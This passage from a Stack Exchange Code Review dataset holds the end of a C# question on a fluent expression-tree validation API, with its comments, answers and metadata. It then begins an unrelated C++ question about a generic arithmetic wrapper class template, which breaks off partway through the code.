.Message(() => $"{typeof(TMember).ToPrettyString(false)} must not be null.");
}
public static ValidationRuleBuilder NotNull<T>(this ValidationRuleBuilder builder, T value)
{
return
builder
.Predicate(Negate(ReferenceEqualNull<T>()))
.Message(() => $"{typeof(T).ToPrettyString(false)} must not be null.");
}
}
</code></pre>
<p><code>ValidationResult</code> with its extensions</p>
<pre><code>using static ValidationResult;
// ReSharper disable once UnusedTypeParameter - T is required for chaining extensions.
public interface IValidationResult<T>
{
string Expression { get; }
bool Success { get; }
string Message { get; }
}
internal static class ValidationResult
{
public static readonly IDictionary<bool, string> Strings = new Dictionary<bool, string>
{
[true] = "Success",
[false] = "Failed"
};
}
internal class ValidationResult<T> : IValidationResult<T>
{
public ValidationResult([NotNull] string expression, bool success, [NotNull] string message)
{
Expression = expression;
Success = success;
Message = message;
}
public string Expression { get; }
public bool Success { get; }
public string Message { get; }
public override string ToString() => $"{Strings[Success]} | {Message} | {Expression}";
public static implicit operator bool(ValidationResult<T> result) => result.Success;
}
public static class ValidationResultExtensions
{
/// <summary>
/// Throws validation-exception when validation failed.
/// </summary>
public static T ThrowIfValidationFailed<T>(this (T Value, ILookup<bool, IValidationResult<T>> Results) lookup)
{
return
lookup.Results[false].Any()
? throw DynamicException.Create
(
$"{typeof(T).ToPrettyString()}Validation",
$"Object does not meet one or more requirements.{Environment.NewLine}{Environment.NewLine}" +
$"{lookup.Results[false].Select(Func.ToString).Join(Environment.NewLine)}"
)
: default(T);
}
}
</code></pre>
<h3>Helpers</h3>
<p>To check wheter a type is a closure, I use this extension:</p>
<pre><code>internal static class TypeExtensions
{
public static bool IsClosure(this Type type)
{
return
type.Name.StartsWith("<>c__DisplayClass") &&
type.IsDefined(typeof(CompilerGeneratedAttribute));
}
}
</code></pre>
<p>And a couple more for creating expressions:</p>
<pre><code>internal static class ValidationExpressionFactory
{
public static LambdaExpression ReferenceEqualNull<T>()
{
return ReferenceEqualNull<T>(Expression.Parameter(typeof(T)));
}
public static LambdaExpression ReferenceEqualNull<T>(Expression<Func<T>> expression)
{
// x => object.ReferenceEqual(x.Member, null)
// This is tricky because the original expression is () => (<>c__DisplayClass).x.y.z
// We first need to the closure and inject out parameter there.
var member = ValidationClosureSearch.FindParameter(expression);
var parameter = Expression.Parameter(member.Type);
var expressionWithParameter = ValidationParameterInjector.InjectParameter(expression.Body, parameter);
return ReferenceEqualNull<T>(parameter, expressionWithParameter);
}
private static LambdaExpression ReferenceEqualNull<T>(ParameterExpression parameter, Expression value = default)
{
// x => object.ReferenceEqual(x, null)
return
Expression.Lambda(
Expression.ReferenceEqual(
value ?? parameter,
Expression.Constant(default(T))),
parameter
);
}
public static LambdaExpression Negate(LambdaExpression expression)
{
// !x
return
Expression.Lambda(
Expression.Not(expression.Body),
expression.Parameters
);
}
}
</code></pre>
<h3>Expression visitors</h3>
<p>With this one I search for closures to replace them with a parameter as validation expression don't have them, e.g: <code>.NotNull(() => x.FirstName))</code></p>
<pre><code>/// <summary>
/// Searches for the member of the closure class.
/// </summary>
internal class ValidationClosureSearch : ExpressionVisitor
{
private MemberExpression _closure;
public static MemberExpression FindParameter(Expression expression)
{
var parameterSearch = new ValidationClosureSearch();
parameterSearch.Visit(expression);
return parameterSearch._closure;
}
protected override Expression VisitMember(MemberExpression node)
{
if (node.Expression.Type.IsClosure())
{
_closure = node;
}
return base.VisitMember(node);
}
}
</code></pre>
<p>Once I've found it, I use this one to replace that closures with actual parameters:</p>
<pre><code>/// <summary>
/// Injects the specified parameter to replace the closure.
/// </summary>
public class ValidationParameterInjector : ExpressionVisitor
{
private readonly ParameterExpression _parameter;
private ValidationParameterInjector(ParameterExpression parameter) => _parameter = parameter;
public static Expression InjectParameter(Expression expression, ParameterExpression parameter)
{
return new ValidationParameterInjector(parameter).Visit(expression is LambdaExpression lambda ? lambda.Body : expression);
}
protected override Expression VisitMember(MemberExpression node)
{
var isClosure =
node.Type == _parameter.Type &&
node.Expression.Type.IsClosure();
return
isClosure
? _parameter
: base.VisitMember(node);
}
}
</code></pre>
<p>The last one is used to prettify validation expressions for display by injecting good looking type names.</p>
<ul>
<li>before: <code>"Param_0.FirstName"</code></li>
<li>after: <code>"<param:Person>.FirstName>"</code></li>
</ul>
<pre><code>// We don't want to show the exact same expression as the condition
// because there are variables and closures that don't look pretty.
// We replace them with more friendly names.
internal class ValidationParameterPrettifier : ExpressionVisitor
{
private readonly ParameterExpression _originalParameter;
private readonly ParameterExpression _prettyParameter;
private ValidationParameterPrettifier(ParameterExpression originalParameter, ParameterExpression prettyParameter)
{
_originalParameter = originalParameter;
_prettyParameter = prettyParameter;
}
protected override Expression VisitParameter(ParameterExpression node)
{
return node.Equals(_originalParameter) ? _prettyParameter : base.VisitParameter(node);
}
protected override Expression VisitMember(MemberExpression node)
{
// Extract member name from closures.
return
node.Expression is ConstantExpression
? Expression.Parameter(node.Type, node.Member.Name)
: base.VisitMember(node);
}
protected override Expression VisitUnary(UnaryExpression node)
{
// Remove type conversion, this is change (Convert(<T>) != null) to (<T> != null)
return
node.Operand.Type == _originalParameter.Type
? Expression.Parameter(node.Operand.Type, _prettyParameter.Name)
: base.VisitUnary(node);
}
public static Expression Prettify<T>([NotNull] LambdaExpression expression)
{
if (expression == null) throw new ArgumentNullException(nameof(expression));
return
expression
.Parameters
.Aggregate(expression.Body, (e, p) => new ValidationParameterPrettifier(expression.Parameters[0], CreatePrettyParameter<T>()).Visit(expression.Body));
}
public static ParameterExpression CreatePrettyParameter<T>()
{
return Expression.Parameter(typeof(T), $"<param:{typeof(T).ToPrettyString()}>");
}
}
</code></pre>
<p>That's it.</p>
<hr>
<h3>Questions</h3>
<ul>
<li>would you say it meets my own requirements?</li>
<li>would you say any requirements or features are missing?</li>
<li>is there anything else I can improve?</li>
</ul>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:41:36.107",
"Id": "431343",
"Score": "0",
"body": "Current commit: [Flawless](https://github.com/he-dev/reusable/tree/next-11/Reusable.Flawless/src) (it's how I call it)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:57:04.103",
"Id": "431347",
"Score": "0",
"body": "Which use cases you see for this API? End-user validation or easy validation logic for application and API developers?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:58:31.410",
"Id": "431348",
"Score": "0",
"body": "@dfhwze for now just application and API developers (as there is no localization for messages)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:59:30.127",
"Id": "431350",
"Score": "0",
"body": "But you would like this to be a framework for end-users eventually, right?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:01:02.390",
"Id": "431351",
"Score": "0",
"body": "@dfhwze that'd be cool..."
}
] | [
{
"body": "<p>As developer consuming your API ..</p>\n\n<h3>Usability</h3>\n\n<p>I find this a verbose way of constructing validation rules.</p>\n\n<blockquote>\n<pre><code>var rules = ValidationRuleCollection\n .For<Person>()\n .Add(x =>\n ValidationRule\n .Require\n .NotNull(x))\n .Add(x =>\n ValidationRule\n .Require\n .NotNull(() => x.FirstName))\n .Add(x =>\n ValidationRule\n .Ensure\n .True(() => x.FirstName.Length > 3));\n\nvar (person, results) = default(Person).ValidateWith(rules);\n</code></pre>\n</blockquote>\n\n<p>I would like to able to call this like:</p>\n\n<pre><code>Tester.Require()\n .NotNull(\"I want to be able to provide my own error message\")\n .NotNull(x => x.FirstName)\n .Ensure(x => x.FirstName.Length > 3)\n .Validate();\n</code></pre>\n\n<h3>Extensibility</h3>\n\n<ul>\n<li>I would like to provide my own error messages and fallback to default messages if I don't specity any</li>\n<li>I would like to be able to not only define pass/fail - <code>true</code>/<code>false</code> validations, but I would also like to provide a severity (error, warning, alert, ..)</li>\n</ul>\n\n<h3>General Issues</h3>\n\n<ul>\n<li>I feel your APIs are always well written, but also pretty complex/verbose. This is a small setback in intuitive use.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:22:24.790",
"Id": "431354",
"Score": "1",
"body": "I think I could add a couple of _shortcut_ extensions to reduce the verbosity; about the custom message... sorry, I fogot to mention it in the description :-( there are default ones that the user can override with `Message`. It's sometimes hard to find the balance between _verbose_ and _extendable_ and at the same time to avoid creating one hundred builders so that you can write `Rule.For.This.Crazy.Property.NotNull.And.Whatever` ;-) from now on, I'll call it a _flood-API_ in contrast to just _fluent-one_ :-P"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:25:54.963",
"Id": "431355",
"Score": "1",
"body": "The problem you are describing trying to find a balance is what i call making a sophisticated API. This means, simple and most common use cases should be very easy to write, while allowing for complex usages if the user should decide to require so. This is a very hard exercise to get right :) Indeed, if you would add shortcut extensions, this would help tremendously for the most common use cases."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:38:10.840",
"Id": "431362",
"Score": "1",
"body": "From the available APIs I can add two more extensions and _zip_ it to `ValidationRuleCollection.For<Person>().Require((r, x) => r.NotNull(() => x)).Ensure((r, x) => r.NotNull(() => x.FirstName))`. I'll see how I can _rar_ it ;-]"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:49:12.767",
"Id": "431363",
"Score": "0",
"body": "Since I did not make a thorough review and no other answers are available yet, you can still edit the question if you want to."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:51:48.697",
"Id": "431364",
"Score": "0",
"body": "If I add this new API to the question it'll invalidate your answer because they are very similar."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:52:38.253",
"Id": "431365",
"Score": "0",
"body": "If that were to be a problem for the community, I'm happy to delete my answer. But since I don't mind the edit, I don't see any problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:57:09.670",
"Id": "431366",
"Score": "0",
"body": "Let us [continue this discussion in chat](https://chat.stackexchange.com/rooms/95279/discussion-between-dfhwze-and-t3chb0t)."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:15:22.383",
"Id": "222775",
"ParentId": "222773",
"Score": "4"
}
},
{
"body": "<p>I like the idea, but I'm in line with dfhwze meaning it's a little too verbose and complicated to follow, especially when unable to debug.</p>\n\n<p>I would prefer a more simple pattern like the one dfhwze suggests:</p>\n\n<pre><code> var result =\n Tester // the person\n .Validate()\n .NotNull(p => p.LastName, \"LastName is Null\")\n .IsTrue(p => p.FirstName.Length > 3, \"FirstName is too short\")\n .Match(p => p.Address.Street, @\"^Sesa(m|n)e Street$\", \"Street name is invalid\");\n\n Console.WriteLine(result);\n</code></pre>\n\n<p>This can be implemented in a lightweight way like the below, where I use a <a href=\"https://fsharpforfunandprofit.com/rop/\" rel=\"nofollow noreferrer\">Railway Orientend Programming</a>-ish pattern:</p>\n\n<pre><code> public abstract class ValidateResult<T>\n {\n public ValidateResult(T source)\n {\n Source = source;\n }\n\n public T Source { get; }\n }\n\n public class Success<T> : ValidateResult<T>\n {\n public Success(T source) : base(source)\n {\n }\n\n public override string ToString()\n {\n return \"Everything is OK\";\n }\n }\n\n public class Failure<T> : ValidateResult<T>\n {\n public Failure(T source, string message) : base(source)\n {\n Message = message;\n }\n\n public string Message { get; }\n\n public override string ToString()\n {\n return $\"Error: {Message}\";\n }\n }\n\n public static class Validation\n {\n public static ValidateResult<T> Validate<T>(this T source)\n {\n return new Success<T>(source);\n }\n\n private static ValidateResult<T> Validate<T>(this ValidateResult<T> result, Predicate<T> predicate, string errorMessage)\n {\n if (result is Success<T> success)\n {\n if (!predicate(success.Source))\n return new Failure<T>(success.Source, errorMessage);\n }\n\n return result;\n }\n\n public static ValidateResult<T> NotNull<T, TMember>(this ValidateResult<T> result, Expression<Func<T, TMember>> expression, string errorMessage)\n {\n var getter = expression.Compile();\n Predicate<T> predicate = source => getter(source) != null;\n return Validate(result, predicate, errorMessage);\n }\n\n public static ValidateResult<T> IsTrue<T>(this ValidateResult<T> result, Expression<Func<T, bool>> expression, string errorMessage)\n {\n var predicate = new Predicate<T>(expression.Compile());\n return Validate(result, predicate, errorMessage);\n }\n\n public static ValidateResult<T> Match<T>(this ValidateResult<T> result, Expression<Func<T, string>> expression, string pattern, string errorMessage)\n {\n var getter = expression.Compile();\n Predicate<T> predicate = source => Regex.IsMatch(getter(source), pattern);\n return Validate(result, predicate, errorMessage);\n }\n }\n</code></pre>\n\n<p>The idea of the ROP pattern is that the first failure stops any further validation, but without throwing or any other error handling mechanism. You end up in the same place as if everything were OK, and can evaluate the result in one place. If you want to collect all possible failures, you can easily extent <code>ValidateResult<T></code> with a collection of <code>ValidateResult<T></code>s and then validate through the chain no matter what each result is.</p>\n\n<p>IMO it's easy to follow, maintain and extent - for instance with the ability to be able to distinguish between degrees of failure. You could for instance implement a <code>Warning<T> : ValdiateResult<T></code>.</p>\n\n<hr>\n\n<p><strong>Update</strong></p>\n\n<p>As t3chb0t (kindly I believe) emphasizes in his comment, I missed that he wants to have predefined validation rules. The above pattern can easily accommodate that requirement:</p>\n\n<pre><code> public class Validator<T>\n {\n List<Func<ValidateResult<T>, ValidateResult<T>>> m_rules = new List<Func<ValidateResult<T>, ValidateResult<T>>>();\n\n public ValidateResult<T> Validate(T source)\n {\n ValidateResult<T> result = source.Validate();\n foreach (var rule in m_rules)\n {\n result = rule(result);\n }\n\n return result;\n }\n\n internal void AddRule(Predicate<T> predicate, string errorMessage)\n {\n Func<ValidateResult<T>, ValidateResult<T>> rule = result =>\n {\n if (result is Success<T> success)\n {\n if (!predicate(success.Source))\n return new Failure<T>(success.Source, errorMessage);\n }\n\n return result;\n };\n m_rules.Add(rule);\n }\n }\n</code></pre>\n\n<p>Extended with validation rules:</p>\n\n<pre><code> public static class Validation\n {\n public static ValidateResult<T> ValidateWith<T>(this T source, Validator<T> validator)\n {\n return validator.Validate(source);\n }\n\n\n public static Validator<T> NotNull<T, TMember>(this Validator<T> validator, Expression<Func<T, TMember>> expression, string errorMessage)\n {\n var getter = expression.Compile();\n Predicate<T> predicate = source => getter(source) != null;\n validator.AddRule(predicate, errorMessage);\n return validator;\n }\n\n public static Validator<T> IsTrue<T>(this Validator<T> validator, Expression<Func<T, bool>> expression, string errorMessage)\n {\n var predicate = new Predicate<T>(expression.Compile());\n validator.AddRule(predicate, errorMessage);\n return validator;\n }\n\n public static Validator<T> Match<T>(this Validator<T> validator, Expression<Func<T, string>> expression, string pattern, string errorMessage)\n {\n var getter = expression.Compile();\n Predicate<T> predicate = source => Regex.IsMatch(getter(source), pattern);\n validator.AddRule(predicate, errorMessage);\n return validator;\n }\n }\n</code></pre>\n\n<p>And the same use case:</p>\n\n<pre><code> Validator<Person> validator = new Validator<Person>();\n\n validator\n .NotNull(p => p.LastName, \"LastName is Null\")\n .IsTrue(p => p.FirstName.Length > 3, \"FirstName is too short\")\n .Match(p => p.Address.Street, @\"^Sesa(m|n)e Street$\", \"Street name is invalid\");\n\n var result = Tester.ValidateWith(validator);\n\n if (result is Success<Person> success)\n {\n Console.WriteLine(success);\n }\n else if (result is Failure<Person> failure)\n {\n Console.WriteLine(failure);\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T21:26:07.743",
"Id": "431377",
"Score": "1",
"body": "nice! I've heard about ROP once here... but then forgot about it and spent like 2h today thinking about how to solve failures of _preconditions_ and break the chain."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T21:14:48.857",
"Id": "222780",
"ParentId": "222773",
"Score": "5"
}
},
{
"body": "<p><em>(self-answer)</em></p>\n<hr />\n<h3>Simplified the API</h3>\n<p>You were right, the API was too verbose so I drastically simplified it. It now presents itself like that:</p>\n<pre><code> [Fact]\n public void Simplified()\n {\n var rules =\n ValidationRuleCollection\n .For<Person>()\n .Reject(b => b.Null(x => x).Hard())\n .Reject(b => b.NullOrEmpty(x => x.FirstName))\n .Accept(b => b.Pattern(x => x.FirstName, "^cookie", RegexOptions.IgnoreCase))\n .Accept(b => b.When(x => x.FirstName.Length > 3));\n\n var results = default(Person).ValidateWith(rules);\n\n Assert.Equal(0, results.OfType<Information>().Count());\n Assert.Equal(1, results.OfType<Error>().Count());\n\n \n Assert.ThrowsAny<DynamicException>(() => default(Person).ValidateWith(rules).ThrowIfValidationFailed());\n }\n</code></pre>\n<p>I was not able to incorporate the ROP here this time, but the many other ideas where very helpful. Here's the summary:</p>\n<h3>Changes</h3>\n<p>There are only two main extensions <code>Accept</code> that enforces a rule and <code>Reject</code> that negates it (internally), so there is no need for other extensions prefixed with <code>Not</code>.</p>\n<p>I also liked <a href=\"https://codereview.stackexchange.com/a/222854/59161\">@Flater</a>'s idea from the other question by <a href=\"https://codereview.stackexchange.com/questions/222821/fluently-validation-of-objects\">@Henrik Hansen</a> where it was suggested picking something more general than <code>IsTrue/IsFalse</code> etc. I decided here to use <code>When</code>. All other extensions have only one overload now. Consequently I could rename <code>Match</code> to <code>Pattern</code> for <code>RegEx</code>.</p>\n<p>The last extension, or rather a <em>modifier</em> is called <code>Hard</code>. This one yields a different rule, one that when failed aborts the validation. This also means that I now have two rules which are descendants of the <code>abstract class ValidationRule<T, TContext></code>:</p>\n<pre><code>public class Hard<T, TContext> : ValidationRule<T, TContext>\n{\n public Hard\n (\n [NotNull] Expression<ValidationPredicate<T, TContext>> predicate,\n [NotNull] Expression<MessageCallback<T, TContext>> message\n ) : base(predicate, message) { }\n\n protected override IValidationResult CreateResult(bool success, string expression, string message)\n {\n return\n success\n ? (IValidationResult)new Information(expression, message)\n : (IValidationResult)new Error(expression, message);\n }\n}\n\npublic class Soft<T, TContext> : ValidationRule<T, TContext>\n{\n public Soft\n (\n [NotNull] Expression<ValidationPredicate<T, TContext>> predicate,\n [NotNull] Expression<MessageCallback<T, TContext>> message\n ) : base(predicate, message) { }\n\n protected override IValidationResult CreateResult(bool success, string expression, string message)\n {\n return\n success\n ? (IValidationResult)new Information(expression, message)\n : (IValidationResult)new Warning(expression, message);\n }\n}\n</code></pre>\n<p>When evaluated they return one of three possible results: <code>Information</code>, <code>Warning</code>, <code>Error</code>.</p>\n<pre><code>public class Information : ValidationResult\n{\n public Information([NotNull] string expression, [NotNull] string message)\n : base(expression, message) { }\n}\n\npublic class Warning : ValidationResult\n{\n public Warning([NotNull] string expression, [NotNull] string message)\n : base(expression, message) { }\n}\n\npublic class Error : ValidationResult\n{\n public Error([NotNull] string expression, [NotNull] string message)\n : base(expression, message) { }\n}\n</code></pre>\n<p>An internal API uses it to break the validation:</p>\n<pre><code> public static ValidationResultCollection<T> ValidateWith<T, TContext>(this T obj, IImmutableList<IValidationRule<T, TContext>> rules)\n {\n return obj.ValidateWith(rules, default);\n }\n\n private static IEnumerable<IValidationResult> Evaluate<T, TContext>(this IImmutableList<IValidationRule<T, TContext>> rules, T obj, TContext context)\n {\n var result = default(IValidationResult);\n foreach (var rule in rules)\n {\n yield return result = rule.Evaluate(obj, context);\n if (result is Error) yield break;\n }\n }\n</code></pre>\n<p>There is also a new <code>ValidationResultCollection</code> that replaces the tuple I used previously:</p>\n<pre><code>public class ValidationResultCollection<T> : IEnumerable<IValidationResult>\n{\n private readonly IImmutableList<IValidationResult> _results;\n\n public ValidationResultCollection(T value, IImmutableList<IValidationResult> results)\n {\n Value = value;\n _results = results;\n }\n\n public T Value { get; }\n\n public IEnumerator<IValidationResult> GetEnumerator() => _results.GetEnumerator();\n\n IEnumerator IEnumerable.GetEnumerator() => GetEnumerator();\n\n public static implicit operator T(ValidationResultCollection<T> results) => results.Value;\n}\n</code></pre>\n<p>I use it to chain extensions for throwing exception:</p>\n<pre><code>default(Person)\n .ValidateWith(rules) // <-- ValidationResultCollection\n .ThrowIfValidationFailed(); // autocast to T or throw\n</code></pre>\n<p>Generating messages internally still has to be improved, but as far as the main API is concerned, I'm happy with it.</p>\n<p>End-users can add thier own extension to <code>b</code>. It is a <code>ValidationRuleBuilder<T, TContext></code> that lets them modify the validation expression: (like I use it for</p>\n<pre><code> public ValidationRuleBuilder<T, TContext> Predicate(Func<LambdaExpression, LambdaExpression> expression)\n {\n _predicate = expression(_predicate);\n return this;\n }\n \n</code></pre>\n<p>I use this too, e.g. for <code>Reject</code>, that <code>Negate</code>s the expression:</p>\n<pre><code> public static IImmutableList<IValidationRule<T, object>> Reject<T>\n (\n this IImmutableList<IValidationRule<T, object>> rules,\n Func<ValidationRuleBuilder<T, object>, ValidationRuleBuilder<T, object>> builder\n )\n {\n return rules.Add(builder(ValidationRule<T, object>.Ensure).Negate().Build());\n }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T15:02:48.330",
"Id": "222873",
"ParentId": "222773",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222780",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:40:59.660",
"Id": "222773",
"Score": "6",
"Tags": [
"c#",
"validation",
"extension-methods",
"framework",
"expression-trees"
],
"Title": "Simple object validator with a new API"
} | 222773 |
<p>I've been working on this concept for the past few days where a <code>variable_t</code> is of any type <code>T</code>; assuming that it is at least <code>arithmetic</code>, and that all of the available <code>C++</code> language <code>operators</code> that perform <code>arithmetic</code>, <code>comparison</code>, <code>pre</code>&<code>post</code>-<code>increment</code>&<code>decrement</code>, and <code>bitwise</code> operations makes sense. </p>
<p>I have expressed my intentions within the source code throughout the comments, please refer to them to have an understanding of why I chose to do things a certain way. My class is currently header only to keep things as simple as possible. While having support of all of these operators; most of them have two versions, one that takes a <code>variable_t<T></code> as its <code>rhs</code> value that may or may not be of the same type as the <code>lhs</code>'s type and the other will accept a plain value of any type <code>T</code> for its <code>rhs</code>and again it may or may not be the same
type as the <code>lhs</code> type. </p>
<p>This does create a lot of boilerplate code; so forgive me if this class appears to be long to analyze. I do however believe that it is performing the calculations and conversions in the way that I have intended them to. Again you can refer to the comment sections for my intentions of how this class template is supposed to behave. </p>
<p>I also have support for <code>std::ostream</code> and <code>std::istream</code> to insert and extract it's member data to and from <code>stream</code> objects. There are also two versions of function templates that will generate a <code>variable_t<T></code> based on the parameter value or type that is passed into the function to construct that type, this comes in handy with the use of <code>auto</code> when declaring a type <code>variable_t<T></code> to create its instantiation. </p>
<pre><code>#pragma once
#include <iostream>
namespace math {
/**************************************************************************
* NOTES:
*
* The design of variable_t<T> has the following properties:
* the LHS always has precedence over RHS and this is intentional.
*
* Type conversion will always be based on the type of the left hand side.
* Memory width(size) and precision will not always be preserved as truncation
* and or narrowing is to be expected.
*
* If widening or higher precission needs to be preserved, this will automatically
* be done with the use of the key word auto and the variable_t<Ty> creation functions.
*
* ----------------------------------------//
* Example: - Truncation expected //
* ----------------------------------------//
*
* // This will result in f1 as still being a float type.
* variable_t<float> f1(5.2f);
* variable_t<double> d1(7.9)
* variable_t<std::uint64_t> ui64(100);
* f1 += d1 / ui64;
*
* f1 == 5.279
* ----------------------------------------//
*
* If the keyword auto is used as such:
* auto x = d1 + f1;
* then in this case x should end up being a variable_t<double>
* and widening and precision will be reserved
*
* This type of design is intentional as I believe that it gives
* the user more flexibility to have the choice to either truncate
* data when the extra bits are not needed or to preserve data when
* it is necessary.
*
* This allows the library to be versatile and prevents any user
* from having to be forced to some specific conformance or policy
* giving them the flexibility they need.
*
* -------------------------------------------------------------------
*
* Any division by 0 will result in the LHS being 0.
* no excpetions are thrown. This is something the user
* must be aware of, and this is intentional!
*
* Example:
* // Generates
* auto t1 = variable( 3.5 ); variable_t<double> t1( 3.5 );
* auto t2 = variable( 4 ); variable_t<int> t2( 4 );
*
*
* auto t3 /= (t1 + 0.5 - t2);
*
* t3 /= (3.5 + 0.5 - 4)
* t3 /= (0) variable_t<double> t3(0.0);
*
* -------------------------------------------------------------------
*
* For all of the Bitwise operators, typically doing bitwise calculations
* requires that both arguments are of an integral type. In order for this
* class to support all of the bitwise operators it is legal to do bitwise
* operations on floating point types, however the user must be aware of the
* fact that both the LHS and RHS are implicilty converted or casted to int type
* then the bitwise calculation is performed and then the resulting value is
* used to assign the lhs's value being casted back to lhs's type.
*
* Example:
*
* ----------------------------------------//
*
* variable_t<float> f1{ 5.2 };
* variable_t<double> d1{ 7.9 };
* variable_t<std::uint64_t> ui64{ 0 };
*
* ui64 = f1 & d1;
*
* // ui64 will have a value of 5.
*
* // Let's check to see the conversions
* // f1 converted to int = 5;
* // d1 converted to int = 7;
* // 5 & 7 = 5;
* // then 5 is casted back to uint64_t and is assigned
* // to ui64
*/
template<typename Ty>
class variable_t {
Ty t;
public:
// -----------------------------------------------
// Constructors & Access Operators
// Default Constructor
inline variable_t() : t{ 0 } {}
// Explicit Constructor
explicit inline variable_t(Ty val) : t{ val } {}
// Copy Constructor with both types being the same
inline variable_t(const variable_t<Ty>& rhs) { this->t = rhs(); }
// Copy Constructor with both types being different
template<typename T>
inline variable_t(const variable_t<T>& rhs) { this->t = static_cast<Ty>(rhs()); }
// Basic operator() returns internal private member
// instead of having or using an accessor function
Ty operator()() const { return t; }
// Same as above: any value passed has no effect as it just returns member
// this isn't necessary but just another way to access the internal member
Ty operator[](unsigned n) const { return t; }
// Overloaded operator() that takes a value of type Ty and will changes it's state or value
variable_t<Ty>& operator()(const Ty t) {
variable_t<Ty> v{ t };
*this = v;
return *this;
}
// ---------------------
// Assignment Operators
// Assignment: both types are the same: variable_t<Ty> = variable_t<Ty>
inline variable_t<Ty>& operator=(const variable_t<Ty>& rhs) {
this->t = rhs();
return *this;
}
// Assignment: both types are different: variable_t<Ty> = variable_t<T> - rhs is casted to lhs
template<typename T>
inline variable_t<Ty>& operator=(const variable_t<T>& rhs) {
this->t = static_cast<Ty>(rhs());
return *this;
}
// Assignment: both types are the same: variable_t<Ty> = Ty
inline variable_t<Ty>& operator=(const Ty& rhs) {
this->t = rhs;
return *this;
}
// Assignment: both types are different: variable_t<Ty> = T - rhs is casted to lhs
template<typename T>
inline variable_t<Ty>& operator=(const T& rhs) {
this->t = static_cast<Ty>(rhs);
return *this;
}
// Compound Assignment
// Addition
template<typename T>
inline variable_t<Ty>& operator+=(const variable_t<T>& rhs) {
this->t += static_cast<Ty>(rhs());
return *this;
}
template<typename T>
inline variable_t<Ty>& operator+=(const T& rhs) {
this->t += static_cast<Ty>(rhs);
return *this;
}
// Subtraction
template<typename T>
inline variable_t<Ty>& operator-=(const variable_t<T>& rhs) {
this->t -= static_cast<Ty>(rhs());
return *this;
}
template<typename T>
inline variable_t<Ty>& operator-=(const T& rhs) {
this->t -= static_cast<Ty>(rhs);
return *this;
}
// Multiplication
template<typename T>
inline variable_t<Ty>& operator*=(const variable_t<T>& rhs) {
this->t *= static_cast<Ty>(rhs());
return *this;
}
template<typename T>
inline variable_t<Ty>& operator*=(const T& rhs) {
this->t *= static_cast<Ty>(rhs);
return *this;
}
// Division
template<typename T>
inline variable_t<Ty>& operator/=(const variable_t<T>& rhs) {
if (rhs() == 0) {
this->t = 0;
}
else {
Ty inv = 1 / static_cast<Ty>(rhs());
this->t *= inv;
}
return *this;
}
template<typename T>
inline variable_t<Ty>& operator/=(const T& rhs) {
if (rhs == 0) {
this->t = 0;
}
else {
Ty inv = 1 / static_cast<Ty>(rhs);
this->t *= inv;
}
return *this;
}
// Modulus
template<typename T>
inline variable_t<Ty>& operator%=(const variable_t<T>& rhs) {
this->t %= static_cast<Ty>(rhs());
return *this;
}
template<typename T>
inline variable_t<Ty>& operator%=(const T& rhs) {
this->t %= static_cast<Ty>(rhs);
return *this;
}
// Bitwise &
template<typename T>
inline variable_t<Ty>& operator&=(const variable_t<T>& rhs) {
int val = static_cast<int>( this->t );
val &= static_cast<int>(rhs());
variable_t<Ty> v{ static_cast<Ty>( val ) };
*this = v;
return *this;
}
template<typename T>
inline variable_t<Ty>& operator&=(const T& rhs) {
int val = static_cast<int>(this->t);
val &= static_cast<int>(rhs);
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
// Bitwise |
template<typename T>
inline variable_t<Ty>& operator|=(const variable_t<T>& rhs) {
int val = static_cast<int>(this->t);
val |= static_cast<int>(rhs());
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
template<typename T>
inline variable_t<Ty>& operator|=(const T& rhs) {
int val = static_cast<int>(this->t);
val |= static_cast<int>(rhs);
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
// Bitwise ^
template<typename T>
inline variable_t<Ty>& operator^=(const variable_t<T>& rhs) {
int val = static_cast<int>(this->t);
val ^= static_cast<int>(rhs());
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
template<typename T>
inline variable_t<Ty>& operator^=(const T& rhs) {
int val = static_cast<int>(this->t);
val ^= static_cast<int>(rhs);
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
// Bitwise <<
template<typename T>
inline variable_t<Ty>& operator<<=(const variable_t<T>& rhs) {
int val = static_cast<int>(this->t);
val <<= static_cast<int>(rhs());
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
template<typename T>
inline variable_t<Ty>& operator<<=(const T& rhs) {
int val = static_cast<int>(this->t);
val <<= static_cast<int>(rhs);
variable_t<Ty> v{ static_cast<Ty>(val) };
*this = v;
return *this;
}
// Bitwise >>
template<typename T>
inline variable_t<Ty>& operator>>=(const variable_t<T>& rhs) {
int val = static_cast<int>(this->t);
val >>= static_cast<int>(rhs());
